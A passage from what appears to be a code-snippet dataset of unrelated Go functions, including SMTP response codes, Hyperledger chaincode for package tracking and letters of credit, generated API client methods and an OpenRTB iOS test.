(&Response{\n\t\tEnhancedCode: BadSendersMailboxAddressSyntax,\n\t\tBasicCode: 501,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Bad sender address syntax\",\n\t}).String()\n\n\tCodes.FailEncryptionNeeded = (&Response{\n\t\tEnhancedCode: EncryptionNeeded,\n\t\tBasicCode: 523,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"TLS required, use STARTTLS\",\n\t}).String()\n\n\tCodes.FailUndefinedSecurityStatus = (&Response{\n\t\tEnhancedCode: SecurityStatus,\n\t\tBasicCode: 550,\n\t\tClass: ClassPermanentFailure,\n\t\tComment: \"Undefined security failure\",\n\t}).String()\n}", "func (t *SimpleChaincode) updatetemp(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\nvar key , jsonResp string\nvar err error\nfmt.Println(\"running updatetemp()\")\n\nif len(args) != 2 {\n jsonResp = \"Error :Incorrect number of arguments. Expecting 2. name of the key and temprature value to set\"\n return nil, errors.New(jsonResp)\n }\n\n\nkey = args[0]\nvar packageinfo PackageInfo\nvar temprature_reading int\n\nvalAsbytes, err := stub.GetState(key)\n\nif err != nil {\n jsonResp = \"Error :Failed to get state for \" + key\n return nil, errors.New(jsonResp)\n }\n\nerr = json.Unmarshal(valAsbytes, &packageinfo)\nif err != nil {\n fmt.Println(\"Could not marshal info object\", err)\n return nil, err\n }\n// validate pkd exist or not by checking temprature\nif packageinfo.PkgId != key{\n jsonResp = \" Error : Invalid PackageId Passed \"\n return nil, errors.New(jsonResp)\n }\n\n// check wheather the pkg temprature is in acceptable range and package in in valid status\nif packageinfo.PkgStatus == \"Pkg_Damaged\" {\n jsonResp = \" Error :Temprature thershold crossed - Package Damaged\"\n return nil, errors.New(jsonResp)\n }\n\ntemprature_reading, err = strconv.Atoi(args[1])\nif err != nil {\n\tjsonResp = \" Error : 2nd argument must be a numeric string\"\n \treturn nil, errors.New(jsonResp)\n\t}\n\n\nif temprature_reading > packageinfo.TempratureMax || temprature_reading < packageinfo.TempratureMin {\n packageinfo.PkgStatus = \"Pkg_Damaged\"\n }\n\nbytes, err := json.Marshal(&packageinfo)\nif err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\nerr = stub.PutState(key, bytes)\nif err != nil {\n return nil, err\n }\n\nreturn nil, nil\n}", "func TestAddenda99MakeReturnCodeDict(t *testing.T) {\n\tcodes := makeReturnCodeDict()\n\t// check if known code is present\n\t_, prs := codes[\"R01\"]\n\tif !prs {\n\t\tt.Error(\"Return Code R01 was not found in the ReturnCodeDict\")\n\t}\n\t// check if invalid code is present\n\t_, prs = codes[\"ABC\"]\n\tif prs {\n\t\tt.Error(\"Valid return for an invalid return code key\")\n\t}\n}", "func (o *ObmsPatchByIDDefault) Code() int {\n\treturn o._statusCode\n}", "func DecodeGrpcRespRDSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "func (c *ReturnsCodeType) UnmarshalXML(d *xml.Decoder, start xml.StartElement) error {\n\tvar v string\n\td.DecodeElement(&v, &start)\n\tfor _, attr := range start.Attr {\n\t\tif attr.Name.Local == \"datestamp\" {\n\t\t\tc.Datestamp = DtDotDateOrDateTime(attr.Value)\n\t\t}\n\t\tif attr.Name.Local == \"sourcetype\" {\n\t\t\tc.Sourcetype = SourceTypeCode(attr.Value)\n\t\t}\n\t\tif attr.Name.Local == \"sourcename\" {\n\t\t\tc.Sourcename = DtDotNonEmptyString(attr.Value)\n\t\t}\n\t}\n\tswitch v {\n\n // As specified in <ReturnsCodeTypeName> (ONIX 3.0 only)\n case \"00\":\n\t\tc.Body = `Proprietary`\n\n // Maintained by CLIL (Commission Interprofessionnel du Livre). Returns conditions values in <ReturnsCode> should be taken from the CLIL list\n case \"01\":\n\t\tc.Body = `French book trade returns conditions code`\n\n // Maintained by BISAC: Returns conditions values in <ReturnsCode> should be taken from List 66\n case \"02\":\n\t\tc.Body = `BISAC Returnable Indicator code`\n\n // NOT CURRENTLY USED – BIC has decided that it will not maintain a code list for this purpose, since returns conditions are usually at least partly based on the trading relationship\n case \"03\":\n\t\tc.Body = `UK book trade returns conditions code`\n\n // Returns conditions values in <ReturnsCode> should be taken from List 204\n case \"04\":\n\t\tc.Body = `ONIX Returns conditions code`\n\tdefault:\n\t\treturn fmt.Errorf(\"undefined code for ReturnsCodeType has been passed, got [%s]\", v)\n\t}\n\treturn nil\n}", "func EncodeGrpcRespRDSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "func (o InnerErrorResponsePtrOutput) Code() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *InnerErrorResponse) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Code\n\t}).(pulumi.StringPtrOutput)\n}", "func EncodeGrpcRespLicenseSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "func (o *PatchServiceAccountTokenOK) Code() int {\n\treturn 200\n}", "func (o ClusterVersionDetailsResponseOutput) CodeVersion() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ClusterVersionDetailsResponse) *string { return v.CodeVersion }).(pulumi.StringPtrOutput)\n}", "func (*TestReport_Setup_SetupAction_Assert_ResultCode) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r5_core_resources_test_report_proto_rawDescGZIP(), []int{0, 3, 0, 1, 0}\n}", "func (o *PatchEquipmentIoCardsMoidDefault) Code() int {\n\treturn o._statusCode\n}", "func (*TestReport_ResultCode) Descriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_r5_core_resources_test_report_proto_rawDescGZIP(), []int{0, 1}\n}", "func mockReturnDetailAddendumC() ReturnDetailAddendumC {\n\trdAddendumC := NewReturnDetailAddendumC()\n\trdAddendumC.ImageReferenceKeyIndicator = 1\n\trdAddendumC.MicrofilmArchiveSequenceNumber = \"1A\"\n\trdAddendumC.LengthImageReferenceKey = \"0034\"\n\trdAddendumC.ImageReferenceKey = \"0\"\n\trdAddendumC.Description = \"RD Addendum C\"\n\trdAddendumC.UserField = \"\"\n\treturn rdAddendumC\n}", "func DecodeGrpcRespWorkloadSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "func probe(stub shim.ChaincodeStubInterface) []byte {\n\tts := time.Now().Format(time.UnixDate)\n\tversion, _ := stub.GetState(CHAIN_CODE_VERSION)\n\toutput := \"{\\\"status\\\":\\\"Success\\\",\\\"ts\\\" : \\\"\" + ts + \"\\\" ,\\\"version\\\" : \\\"\" + string(version) + \"\\\" }\"\n\treturn []byte(output)\n}", "func (t *SimpleChaincode) getLoc(stub *shim.ChaincodeStub , args []string) ([]byte,error) {\n \n \t \n \ts := []string{args[0], \"requester\"};\n s1 := strings.Join(s, \"_\");\n \t \n \n requester_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n \t//------------------------------------------------------------\n \ts = []string{args[0], \"beneficiary\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n beneficiary_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n \ts = []string{args[0], \"amount\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n amount_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"expiry_date\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n expiry_date_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"status\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n status_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"advising_bank\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n advising_bank_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"document_hash\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n document_hash_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"loc_filename\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n loc_filename_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n \ts = []string{args[0], \"contract_hash\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n contract_hash_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n\ts = []string{args[0], \"bol_hash\"};\n s1 = strings.Join(s, \"_\");\n \t \n \n bol_hash_string, err := stub.GetState(s1);\n \t\n \tif err != nil {\n\t\treturn nil, err\n\t}\n\t//--------------------------------------------------------------\n \t\n \ts = []string{string(requester_string),string(beneficiary_string),string(amount_string),string(expiry_date_string),string(status_string),string(advising_bank_string),string(document_hash_string),string(loc_filename_string),string(contract_hash_string),string(bol_hash_string)};\n \n // s=[]string{string(contract_hash_string),string(bol_hash_string)};\n final_string := strings.Join(s, \"|\");\n \t\n \t\n \t\n //s := strconv.Itoa(counter) ;\n //ret_s := []byte(s);\n return []byte(final_string), nil;\n \n }", "func (o *ReorderSecurityRealmsOK) Code() int {\n\treturn 200\n}", "func EncodeGrpcRespDSCProfileSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "func (o *PatchProductsByIDProductOptionsByIDDefault) Code() int {\n\treturn o._statusCode\n}", "func (*CodeActionResponse_Result) Descriptor() ([]byte, []int) {\n\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{31, 0}\n}", "func TestModifyForIOS(t *testing.T) {\n\ttestCases := []struct {\n\t\tdescription string\n\t\tgivenRequest *openrtb2.BidRequest\n\t\texpectedLMT *int8\n\t}{\n\t\t{\n\t\t\tdescription: \"13.0\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{OS: \"iOS\", OSV: \"13.0\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.0\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{OS: \"iOS\", OSV: \"14.0\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.1\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{OS: \"iOS\", OSV: \"14.1\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.1.3\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{OS: \"iOS\", OSV: \"14.1.3\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.2\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\"atts\":0}`), OS: \"iOS\", OSV: \"14.2\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.2\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\"atts\":2}`), OS: \"iOS\", OSV: \"14.2\", IFA: \"\", Lmt: openrtb2.Int8Ptr(0)},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.2.7\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\"atts\":1}`), OS: \"iOS\", OSV: \"14.2.7\", IFA: \"\", Lmt: nil},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(1),\n\t\t},\n\t\t{\n\t\t\tdescription: \"14.2.7\",\n\t\t\tgivenRequest: &openrtb2.BidRequest{\n\t\t\t\tApp: &openrtb2.App{},\n\t\t\t\tDevice: &openrtb2.Device{Ext: json.RawMessage(`{\"atts\":3}`), OS: \"iOS\", OSV: \"14.2.7\", IFA: \"\", Lmt: openrtb2.Int8Ptr(1)},\n\t\t\t},\n\t\t\texpectedLMT: openrtb2.Int8Ptr(0),\n\t\t},\n\t}\n\n\tfor _, test := range testCases {\n\t\tModifyForIOS(test.givenRequest)\n\t\tassert.Equal(t, test.expectedLMT, test.givenRequest.Device.Lmt, test.description)\n\t}\n}", "func (t *IPDCChaincode) invoke_update_status(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\r\n\r\n\tfmt.Println(\"***********Entering invoke_update_status***********\")\r\n\r\n\tif len(args) < 2 {\r\n\r\n\t\tfmt.Println(\"Error: Incorrect number of arguments\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Incorrect number of arguments\")\r\n\t}\r\n\r\n\tvar record_specification map[string]interface{}\r\n\r\n\tvar err error\r\n\r\n\terr = json.Unmarshal([]byte(args[0]), &record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of record.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of record.\")\r\n\t}\r\n\r\n\tadditional_json, ok := map_specification[\"additional_json\"]\r\n\r\n\tif ok {\r\n\r\n\t\tadditional_json_data, ok1 := additional_json.(map[string]interface{})\r\n\r\n\t\tif ok1 {\r\n\r\n\t\t\tfor spec, _ := range additional_json_data {\r\n\r\n\t\t\t\trecord_specification[spec] = additional_json_data[spec]\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tfmt.Println(\"Invalid additional JSON fields in specification\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Invalid additional JSON fields in specification\")\r\n\t\t}\r\n\t}\r\n\r\n\tvar keys_map interface{}\r\n\r\n\tvar specs map[string]interface{}\r\n\r\n\tkeys_map, error_keys_map := t.get_keys_map(stub, record_specification)\r\n\r\n\tif error_keys_map != nil {\r\n\r\n\t\tfmt.Println(error_keys_map.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(error_keys_map.Error())\r\n\t}\r\n\r\n\tspecs, ok = keys_map.(map[string]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Invalid keys_map specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Invalid keys_map specification.\")\r\n\t}\r\n\r\n\tif specs[\"primary_key\"] == nil {\r\n\r\n\t\tfmt.Println(\"There is no primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error : There is no primary key specification.\")\r\n\t}\r\n\r\n\tvar pk_spec []interface{}\r\n\r\n\tpk_spec, ok = specs[\"primary_key\"].([]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Error in Primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in Primary key specification.\")\r\n\t}\r\n\r\n\tkey, err_key := t.createInterfacePrimaryKey(record_specification, pk_spec)\r\n\r\n\tif err_key != nil {\r\n\r\n\t\tfmt.Println(err_key.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(err_key.Error())\r\n\r\n\t}\r\n\r\n\tvar valAsBytes []byte\r\n\r\n\tvalAsBytes, err = stub.GetState(key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Failed to get state for primary key. \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Failed to get state for primary key. \" + err.Error())\r\n\r\n\t} else if valAsBytes == nil {\r\n\r\n\t\tfmt.Println(\"Error: No value for key : \" + key)\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: No value for primary key.\")\r\n\r\n\t}\r\n\r\n\terr = json.Unmarshal([]byte(valAsBytes), &record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of Blockchain record\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of Blockchain record\")\r\n\r\n\t}\r\n\r\n\terr_del := t.delete_composite_keys(stub, specs, record_specification, key)\r\n\r\n\tif err_del != nil {\r\n\r\n\t\tfmt.Println(\"Error while deleting composite keys: \" + err_del.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error while deleting composite keys: \" + err_del.Error())\r\n\r\n\t}\r\n\r\n\tvar to_be_updated_map map[string]interface{}\r\n\r\n\terr = json.Unmarshal([]byte(args[1]), &to_be_updated_map)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of update map\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of update map\")\r\n\r\n\t}\r\n\r\n\tfor spec, spec_val := range to_be_updated_map {\r\n\r\n\t\tvar spec_val_string, spec_ok = spec_val.(string)\r\n\r\n\t\tif !spec_ok {\r\n\r\n\t\t\tfmt.Println(\"Unable to parse value of status update\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(\"Unable to parse value of status update\")\r\n\r\n\t\t}\r\n\r\n\t\tvar val_check, val_err = t.updatestatusvaliditycheck(spec, spec_val_string, map_specification)\r\n\r\n\t\tif val_check != 0 {\r\n\r\n\t\t\tfmt.Println(val_err.Error())\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\t\treturn shim.Error(val_err.Error())\r\n\t\t}\r\n\r\n\t\trecord_specification[spec] = spec_val_string\r\n\t}\r\n\r\n\tvar concatenated_record_json []byte\r\n\r\n\tconcatenated_record_json, err = json.Marshal(record_specification)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error: Unable to Marshal Concatenated Record to JSON \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Unable to Marshal Concatenated Record to JSON \" + err.Error())\r\n\t}\r\n\r\n\terr = stub.PutState(key, []byte(concatenated_record_json))\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Failed to put state : \" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Failed to put state : \" + err.Error())\r\n\t}\r\n\r\n\terr = t.create_composite_keys(stub, specs, record_specification, key)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Received error while creating composite keys\" + err.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\t\treturn shim.Error(\"Received error while creating composite keys\" + err.Error())\r\n\t}\r\n\r\n\tfmt.Println(\"***********Exiting invoke_update_status***********\")\r\n\r\n\treturn shim.Success(nil)\r\n\r\n}", "func (s RepoSpec) SpecString() string {\n\tif s.IsZero() {\n\t\tpanic(\"empty RepoSpec\")\n\t}\n\treturn s.URI\n}", "func (m *Win32LobAppProductCodeDetection) SetProductCode(value *string)() {\n err := m.GetBackingStore().Set(\"productCode\", value)\n if err != nil {\n panic(err)\n }\n}", "func (o *PatchMachineConfigurationDefault) Code() int {\n\treturn o._statusCode\n}", "func (a *Client) ChangeRegistrationDetails(params *ChangeRegistrationDetailsParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*ChangeRegistrationDetailsOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewChangeRegistrationDetailsParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"changeRegistrationDetails\",\n\t\tMethod: \"PUT\",\n\t\tPathPattern: \"/applications/{appName}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &ChangeRegistrationDetailsReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*ChangeRegistrationDetailsOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for changeRegistrationDetails: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "func newCodeResponseWriter(w http.ResponseWriter) *codeResponseWriter {\n\treturn &codeResponseWriter{w, http.StatusOK}\n}", "func (t *SimpleChaincode) acceptpkg(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\nfmt.Println(\"running acceptpkg()\")\nvar key , jsonResp string\nvar err error\n\nif len(args) != 2 {\n\tjsonResp = \" Error:Incorrect number of arguments. Expecting : PkgId and Provider \"\n \treturn nil, errors.New(jsonResp)\n }\n\n key = args[0]\n var packageinfo PackageInfo\n\n valAsbytes, err := stub.GetState(key)\n\n if err != nil {\n jsonResp = \" Error Failed to get state for \" + key\n return nil, errors.New(jsonResp)\n }\n\n err = json.Unmarshal(valAsbytes, &packageinfo)\n if err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n// validate pkd exist or not by checking temprature\n if packageinfo.PkgId != key{\n jsonResp = \"Error: Invalid PackageId Passed \"\n return nil, errors.New(jsonResp)\n }\n\n // check wheather the pkg temprature is in acceptable range and package in in valid status\n if packageinfo.PkgStatus == \"Pkg_Damaged\" { // Pkg_Damaged\n\t jsonResp = \"Error : Temprature thershold crossed - Package Damaged \"\n return nil, errors.New(jsonResp)\n }\n\n\tif packageinfo.Provider != args[1] { // Pkg_Damaged\n\t\t jsonResp = \"Error : Wrong Provider passed - Can not accept the package \"\n\t return nil, errors.New(jsonResp)\n\t }\n\n //packageinfo.Provider = args[1]\n packageinfo.PkgStatus = \"In_Transit\"\n\n bytes, err := json.Marshal(&packageinfo)\n if err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n err = stub.PutState(key, bytes)\n if err != nil {\n return nil, err\n }\n\n return nil, nil\n}", "func DecodeGrpcRespWorkloadIntfSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "func DecodeGrpcRespDSCProfileSpec(ctx context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "func (*CodeActionResponse) Descriptor() ([]byte, []int) {\n\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{31}\n}", "func (o *PatchHyperflexSoftwareVersionPoliciesMoidDefault) Code() int {\n\treturn o._statusCode\n}", "func (o *PatchLicenseCustomerOpsMoidDefault) Code() int {\n\treturn o._statusCode\n}", "func (*CMsgClientToGCGetTicketCodesResponse_Code) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{360, 0}\n}", "func (o UserFacingErrorResponsePtrOutput) Code() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *UserFacingErrorResponse) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Code\n\t}).(pulumi.StringPtrOutput)\n}", "func (o RouteWarningsItemResponseOutput) Code() pulumi.StringOutput {\n\treturn o.ApplyT(func(v RouteWarningsItemResponse) string { return v.Code }).(pulumi.StringOutput)\n}", "func (o SslPolicyWarningsItemResponseOutput) Code() pulumi.StringOutput {\n\treturn o.ApplyT(func(v SslPolicyWarningsItemResponse) string { return v.Code }).(pulumi.StringOutput)\n}", "func (pc *programCode) createReturn() {\n\tcode := \"\\tret\\n\"\n\n\tpc.appendCode(code)\n\tpc.indentLevel-- // get back -> buffer before\n}", "func (t *SimpleChaincode) Init(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\nvar jsonResp string\nvar packageinfo PackageInfo\nvar err error\n\n// Validate inpit\nif len(args) != 7 {\n jsonResp = \"Error: Incorrect number of arguments. Expecting 6 in order of Shipper, Insurer, Consignee, Temprature, PackageDes, Provider \"\n return nil, errors.New(jsonResp)\n }\n\n\n// Polulating JSON block with input for first block\npackageinfo.PkgId = \"1Z20170426\"\npackageinfo.Shipper = args[0]\npackageinfo.Insurer = args[1]\npackageinfo.Consignee = args[2]\npackageinfo.Provider = args[3]\npackageinfo.TempratureMin, err = strconv.Atoi(args[4])\nif err != nil {\n jsonResp = \"Error :5th argument must be a numeric string\"\n return nil, errors.New(jsonResp)\n\t}\npackageinfo.TempratureMax, err = strconv.Atoi(args[5])\nif err != nil {\n jsonResp = \"Error: 6th argument must be a numeric string \"\n return nil, errors.New(jsonResp)\n \t}\npackageinfo.PackageDes = args[6]\npackageinfo.PkgStatus = \"Label_Generated\"\n\n\n// populate package holder\nvar packageids_array PKG_Holder\npackageids_array.PkgIds = append(packageids_array.PkgIds , packageinfo.PkgId)\n\nbytes, err := json.Marshal(&packageids_array)\n\n// write to blockchain\nerr = stub.PutState(\"PkgIdsKey\", bytes)\nif err != nil {\n return nil, errors.New(\"Error writing to blockchain for PKG_Holder\")\n }\n\nbytes, err = json.Marshal(&packageinfo)\nif err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, errors.New(\"Could not marshal personal info object\")\n }\n\n// write to blockchain\nerr = stub.PutState(\"1Z20170426\", bytes)\nif err != nil {\n return nil, errors.New(\"Error writing to blockchain for Package\")\n }\n\nreturn nil, nil\n}", "func (t *IPDCChaincode) invoke_update_status_with_modification_check(stub shim.ChaincodeStubInterface, args []string, map_specification map[string]interface{}) pb.Response {\r\n\r\n\tfmt.Println(\"***********Entering invoke_update_status_with_modification_check***********\")\r\n\r\n\tif len(args) < 2 {\r\n\r\n\t\tfmt.Println(\"Error: Incorrect number of arguments\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Incorrect number of arguments\")\r\n\t}\r\n\r\n\tvar record_specification_input map[string]interface{}\r\n\r\n\tvar err error\r\n\r\n\terr = json.Unmarshal([]byte(args[0]), &record_specification_input)\r\n\r\n\tif err != nil {\r\n\r\n\t\tfmt.Println(\"Error in format of record.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error in format of record.\")\r\n\t}\r\n\r\n\tadditional_json, ok := map_specification[\"additional_json\"]\r\n\r\n\tif ok {\r\n\r\n\t\tadditional_json_data, ok1 := additional_json.(map[string]interface{})\r\n\r\n\t\tif ok1 {\r\n\r\n\t\t\tfor spec, _ := range additional_json_data {\r\n\r\n\t\t\t\trecord_specification_input[spec] = additional_json_data[spec]\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tfmt.Println(\"Error: Invalid additional JSON fields in specification\")\r\n\r\n\t\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\t\treturn shim.Error(\"Error: Invalid additional JSON fields in specification\")\r\n\t\t}\r\n\t}\r\n\r\n\tvar keys_map interface{}\r\n\r\n\tvar specs map[string]interface{}\r\n\r\n\tkeys_map, error_keys_map := t.get_keys_map(stub, record_specification_input)\r\n\r\n\tif error_keys_map != nil {\r\n\r\n\t\tfmt.Println(error_keys_map.Error())\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(error_keys_map.Error())\r\n\t}\r\n\r\n\tspecs, ok = keys_map.(map[string]interface{})\r\n\r\n\tif !ok {\r\n\r\n\t\tfmt.Println(\"Error: Invalid keys_map specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting invoke_update_status_with_modification_check***********\")\r\n\r\n\t\treturn shim.Error(\"Error: Invalid keys_map specification.\")\r\n\t}\r\n\r\n\tif specs[\"primary_key\"] == nil {\r\n\r\n\t\tfmt.Println(\"Error: There is no primary key specification.\")\r\n\r\n\t\tfmt.Println(\"***********Exiting 